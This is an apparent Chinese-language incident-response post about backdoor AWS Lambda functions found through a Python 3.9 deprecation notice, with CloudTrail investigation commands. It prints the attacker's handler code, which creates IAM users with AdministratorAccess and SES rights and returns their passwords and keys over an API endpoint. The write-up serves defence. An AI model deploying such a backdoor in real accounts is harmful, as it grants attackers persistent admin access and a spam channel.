一封「Python 3.9 停止支援」的例行通知， 揭露了帳號裡不該存在的兩支 Lambda

一封例行通知

2025 年 7 月，AWS 寄來一封標題為「Lambda end of support for Python 3.9」的通知，說帳號內有函式使用即將停止支援的執行環境。信裡附了一條指令，教你逐區列出這些函式：

$ for region in $(aws ec2 describe-regions --query "Regions[].RegionName" --output text); do
  echo "Region: $region"
  aws lambda list-functions --region $region \
    --query "Functions[?Runtime=='python3.9'].FunctionName" --output text
done

Region: ap-south-1
Region: eu-north-1
...
Region: ap-northeast-1          # ← 我們唯一使用的區域：空
...
Region: us-east-1
sesyu787                        # ← 從沒在這個區域部署過任何東西

它做什麼

兩支函式的程式碼幾乎一模一樣，去掉註解後只做一件事：

def lambda_handler(event, context):
    iam = boto3.client("iam")
    user_name = f"user-{uuid.uuid4().hex[:8]}"          # 隨機使用者名稱
    password = "".join(random.choices(chars, k=20))     # 隨機密碼

    iam.create_user(UserName=user_name)
    iam.create_login_profile(UserName=user_name, Password=password, PasswordResetRequired=False)
    access_key = iam.create_access_key(UserName=user_name)
    iam.attach_user_policy(UserName=user_name, PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess")
    iam.attach_user_policy(UserName=user_name, PolicyArn="arn:aws:iam::aws:policy/IAMFullAccess")
    iam.attach_user_policy(UserName=user_name, PolicyArn="arn:aws:iam::aws:policy/AmazonSESFullAccess")

    return {"IAMLoginURL": f"https://{account_id}.signin.aws.amazon.com/console",
            "Username": user_name, "Password": password,
            "AccessKeyId": ..., "SecretAccessKey": ...}

三個重點：

1. 這是一台自動販賣機。 每執行一次，就多一個具備 AdministratorAccess 的使用者，主控台登入 URL、密碼、金鑰全部打包回傳。
2. sesyu787 掛了 API Gateway 觸發。 攻擊者不需要再拿到任何憑證，只要對一個 URL 發請求，就能領一個新的管理員。就算你把他建的使用者全刪了，他打一次就補回來。
3. AmazonSESFullAccess 說明了目的。 函式名稱裡的 ses 不是巧合。有 SES 全權限就能用你的網域信譽大量寄信，這是被盜 AWS 帳號最常見的變現方式之一。

這次外洩了什麼

這個案子的特別之處在於：外洩的憑證不是被撿走的，是被「生出來」的。每執行一次函式，就多一組全新的管理員憑證，而且是以 API 回應的 JSON 直接送到呼叫者手上。

用 CloudShell 把 CloudTrail 全部撈下來

主控台的事件歷史一次只給 50 筆，要看全貌得自己翻頁。這段迴圈把三天內的事件全量抓下來：

start_time=$(date -u -d '3 days ago' +%Y-%m-%dT%H:%M:%SZ)
end_time=$(date -u +%Y-%m-%dT%H:%M:%SZ)
next_token=""
while true; do
if [ -z "$next_token" ]; then
  result=$(aws cloudtrail lookup-events --start-time "$start_time" --end-time "$end_time" --max-results 50 --output json)
else
  result=$(aws cloudtrail lookup-events --start-time "$start_time" --end-time "$end_time" --max-results 50 --next-token "$next_token" --output json)
fi
echo "$result" | jq -c '.Events[]' >> tmp_events.json
next_token=$(echo "$result" | jq -r '.NextToken // empty')
[ -z "$next_token" ] && break
done
jq -s '{Events: .}' tmp_events.json > all_events_full.json

接著三個問題，三段 jq：

# 每天筆數：看有沒有異常暴增的日子
jq -r '.Events[] | .CloudTrailEvent | fromjson | .eventTime | split("T")[0]' all_events_full.json | sort | uniq -c
 2771 2025-07-14
 6304 2025-07-15
 6332 2025-07-16
 4384 2025-07-17

# 來源 IP 分布：先把自己的 IP 認出來，剩下的就是要追的
jq -r '.Events[] | .CloudTrailEvent | fromjson | .sourceIPAddress' all_events_full.json | sort | uniq -c | sort -nr

# 針對某個 IP 展開：時間、身分、事件、資源
jq -r '.Events[] | .CloudTrailEvent | fromjson
     | select(.sourceIPAddress == "X.X.X.X")
     | {time: .eventTime, user: .userIdentity.arn, event: .eventName, resource: .resources}' all_events_full.json

# 只看 Root 身分做過的事
jq -c '.Events[] | .CloudTrailEvent | fromjson | select(.userIdentity.type == "Root")
     | {eventTime, eventName, sourceIPAddress}' all_events_full.json

處置順序

改密碼之後，調查還沒結束

已核發的暫時憑證有自己的生命週期。改了主控台密碼、開了 MFA，不會讓已經拿到的存取金鑰或工作階段失效。要依憑證類型採用對應的撤銷方式：長期金鑰直接停用並刪除；角色的工作階段用信任政策或內嵌拒絕政策讓指定時間前核發的 token 全部失效；再重新檢查信任政策、長期金鑰與異常資源，才能知道處置是否涵蓋整條存取路徑。

這個後門花了多少錢

挖礦會出現在帳單上，後門不會。下面這張表最重要的一件事，是「免費」那幾列：一台隨時生管理員的自動販賣機，運轉成本趨近於零，所以帳單永遠不會替你示警。

可證明的金額：US$0.00。 不是因為沒有損失，而是因為這個後門的運轉成本本來就接近零，可能造成的損失全部落在缺口那三列。挖礦劫持會被帳單抓到，後門不會——它只會安靜地待在你不看的區域，等你哪天需要它的時候（他需要，不是你）再吐一個管理員出來。

重點學習

今天就可以來試試